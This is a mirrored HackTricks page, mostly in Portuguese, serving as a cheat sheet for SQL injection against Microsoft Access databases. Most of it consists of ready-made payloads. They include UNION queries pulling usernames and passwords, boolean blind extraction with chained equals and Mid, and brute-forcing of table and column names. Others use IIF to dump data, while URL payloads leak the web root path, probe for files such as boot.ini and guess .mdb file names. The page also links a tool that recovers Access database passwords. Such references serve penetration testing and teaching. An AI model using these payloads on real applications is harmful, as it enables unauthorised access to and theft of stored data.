mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-19 01:24:50 +00:00
194 lines
10 KiB
Markdown
194 lines
10 KiB
Markdown
# MS Access SQL Injection
|
|
|
|
{% hint style="success" %}
|
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Playground Online
|
|
|
|
* [https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1)
|
|
|
|
## Limitações do DB
|
|
|
|
### Concatenação de Strings
|
|
|
|
A concatenação de strings é possível com os caracteres `& (%26)` e `+ (%2b)`.
|
|
```sql
|
|
1' UNION SELECT 'web' %2b 'app' FROM table%00
|
|
1' UNION SELECT 'web' %26 'app' FROM table%00
|
|
```
|
|
### Comentários
|
|
|
|
Não há comentários no MS Access, mas aparentemente é possível remover o último de uma consulta com um caractere NULL:
|
|
```sql
|
|
1' union select 1,2 from table%00
|
|
```
|
|
Se isso não estiver funcionando, você sempre pode corrigir a sintaxe da consulta:
|
|
```sql
|
|
1' UNION SELECT 1,2 FROM table WHERE ''='
|
|
```
|
|
### Consultas Empilhadas
|
|
|
|
Elas não são suportadas.
|
|
|
|
### LIMIT
|
|
|
|
O operador **`LIMIT`** **não está implementado**. No entanto, é possível limitar os resultados da consulta SELECT às **primeiras N linhas da tabela usando o operador `TOP`**. `TOP` aceita como argumento um inteiro, representando o número de linhas a serem retornadas.
|
|
```sql
|
|
1' UNION SELECT TOP 3 attr FROM table%00
|
|
```
|
|
Assim como o TOP, você pode usar **`LAST`** que irá obter as **linhas do final**.
|
|
|
|
## Consultas UNION/Subconsultas
|
|
|
|
Em uma SQLi, você geralmente vai querer de alguma forma executar uma nova consulta para extrair informações de outras tabelas. O MS Access sempre requer que em **subconsultas ou consultas extras um `FROM` seja indicado**.\
|
|
Portanto, se você quiser executar um `UNION SELECT` ou `UNION ALL SELECT` ou um `SELECT` entre parênteses em uma condição, você sempre **precisa indicar um `FROM` com um nome de tabela válido**.\
|
|
Portanto, você precisa conhecer um **nome de tabela válido**.
|
|
```sql
|
|
-1' UNION SELECT username,password from users%00
|
|
```
|
|
### Chaining equals + Substring
|
|
|
|
{% hint style="warning" %}
|
|
Isso permitirá que você exfiltre valores da tabela atual sem precisar saber o nome da tabela.
|
|
{% endhint %}
|
|
|
|
**MS Access** permite **sintaxe estranha** como **`'1'=2='3'='asd'=false`**. Como geralmente a injeção SQL estará dentro de uma cláusula **`WHERE`**, podemos abusar disso.
|
|
|
|
Imagine que você tem uma SQLi em um banco de dados MS Access e você sabe (ou adivinhou) que um **nome de coluna é username**, e esse é o campo que você deseja **exfiltrar**. Você poderia verificar as diferentes respostas do aplicativo web quando a técnica de chaining equals é usada e potencialmente exfiltrar conteúdo com uma **injeção booleana** usando a função **`Mid`** para obter substrings.
|
|
```sql
|
|
'=(Mid(username,1,3)='adm')='
|
|
```
|
|
Se você souber o **nome da tabela** e **coluna** para despejar, pode usar uma combinação entre `Mid`, `LAST` e `TOP` para **vazar todas as informações** via SQLi booleano:
|
|
```sql
|
|
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
|
|
```
|
|
_Fique à vontade para verificar isso no playground online._
|
|
|
|
### Forçando nomes de tabelas
|
|
|
|
Usando a técnica de encadeamento de iguais, você também pode **forçar nomes de tabelas** com algo como:
|
|
```sql
|
|
'=(select+top+1+'lala'+from+<table_name>)='
|
|
```
|
|
Você também pode usar uma maneira mais tradicional:
|
|
```sql
|
|
-1' AND (SELECT TOP 1 <table_name>)%00
|
|
```
|
|
_Fique à vontade para verificar isso no playground online._
|
|
|
|
* Nomes de tabelas comuns do Sqlmap: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
|
|
* Há outra lista em [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
|
|
|
### Forçando Nomes de Colunas
|
|
|
|
Você pode **forçar os nomes das colunas atuais** com o truque de encadeamento de iguais com:
|
|
```sql
|
|
'=column_name='
|
|
```
|
|
Ou com um **group by**:
|
|
```sql
|
|
-1' GROUP BY column_name%00
|
|
```
|
|
Ou você pode forçar os nomes das colunas de uma **tabela diferente** com:
|
|
```sql
|
|
'=(SELECT TOP 1 column_name FROM valid_table_name)='
|
|
|
|
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
|
|
```
|
|
### Dumping data
|
|
|
|
Já discutimos a [**técnica de encadeamento de iguais**](ms-access-sql-injection.md#chaining-equals-+-substring) **para despejar dados da tabela atual e de outras tabelas**. Mas há outras maneiras:
|
|
```sql
|
|
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
|
|
```
|
|
Em resumo, a consulta usa uma declaração "if-then" para acionar um "200 OK" em caso de sucesso ou um "500 Internal Error" caso contrário. Aproveitando o operador TOP 10, é possível selecionar os primeiros dez resultados. O uso subsequente de LAST permite considerar apenas a 10ª tupla. Com esse valor, usando o operador MID, é possível realizar uma simples comparação de caracteres. Alterando corretamente o índice de MID e TOP, podemos despejar o conteúdo do campo "username" para todas as linhas.
|
|
|
|
### Time Based
|
|
|
|
Verifique [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)
|
|
|
|
### Outras funções interessantes
|
|
|
|
* `Mid('admin',1,1)` obtém substring da posição 1 comprimento 1 (a posição inicial é 1)
|
|
* `LEN('1234')` obtém o comprimento da string
|
|
* `ASC('A')` obtém o valor ascii do caractere
|
|
* `CHR(65)` obtém a string a partir do valor ascii
|
|
* `IIF(1=1,'a','b')` se então
|
|
* `COUNT(*)` conta o número de itens
|
|
|
|
## Enumerando tabelas
|
|
|
|
De [**aqui**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) você pode ver uma consulta para obter os nomes das tabelas:
|
|
```sql
|
|
select MSysObjects.name
|
|
from MSysObjects
|
|
where
|
|
MSysObjects.type In (1,4,6)
|
|
and MSysObjects.name not like '~*'
|
|
and MSysObjects.name not like 'MSys*'
|
|
order by MSysObjects.name
|
|
```
|
|
No entanto, note que é muito típico encontrar SQL Injections onde você **não tem acesso para ler a tabela `MSysObjects`**.
|
|
|
|
## Acesso ao Sistema de Arquivos
|
|
|
|
### Caminho Completo do Diretório Raiz da Web
|
|
|
|
O conhecimento do **caminho absoluto do diretório raiz da web pode facilitar ataques posteriores**. Se os erros da aplicação não estiverem completamente ocultos, o caminho do diretório pode ser descoberto tentando selecionar dados de um banco de dados inexistente.
|
|
|
|
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
|
|
|
|
O MS Access responde com uma **mensagem de erro contendo o caminho completo do diretório da web**.
|
|
|
|
### Enumeração de Arquivos
|
|
|
|
O seguinte vetor de ataque pode ser usado para **inferir a existência de um arquivo no sistema de arquivos remoto**. Se o arquivo especificado existir, o MS Access gera uma mensagem de erro informando que o formato do banco de dados é inválido:
|
|
|
|
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
|
|
|
|
Outra maneira de enumerar arquivos consiste em **especificar um item database.table**. **Se** o **arquivo especificado existir**, o MS Access exibe uma **mensagem de erro de formato de banco de dados**.
|
|
|
|
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
|
|
|
|
### Adivinhação do Nome do Arquivo .mdb
|
|
|
|
**O nome do arquivo do banco de dados (.mdb)** pode ser inferido com a seguinte consulta:
|
|
|
|
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
|
|
|
|
Onde **name\[i] é um nome de arquivo .mdb** e **realTable é uma tabela existente** dentro do banco de dados. Embora o MS Access sempre gere uma mensagem de erro, é possível distinguir entre um nome de arquivo inválido e um nome de arquivo .mdb válido.
|
|
|
|
### Quebrador de Senha .mdb
|
|
|
|
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) é uma ferramenta gratuita que pode ser usada para recuperar a senha principal do banco de dados do Microsoft Access 95/97/2000/XP ou Jet Database Engine 3.0/4.0.
|
|
|
|
## Referências
|
|
|
|
* [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|